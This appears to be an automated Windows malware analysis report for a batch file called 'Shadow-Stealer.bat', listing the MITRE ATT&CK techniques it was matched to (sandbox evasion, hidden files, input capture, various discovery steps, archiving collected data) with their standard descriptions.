File Icon

Windows Analysis Report
Shadow-Stealer.bat

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre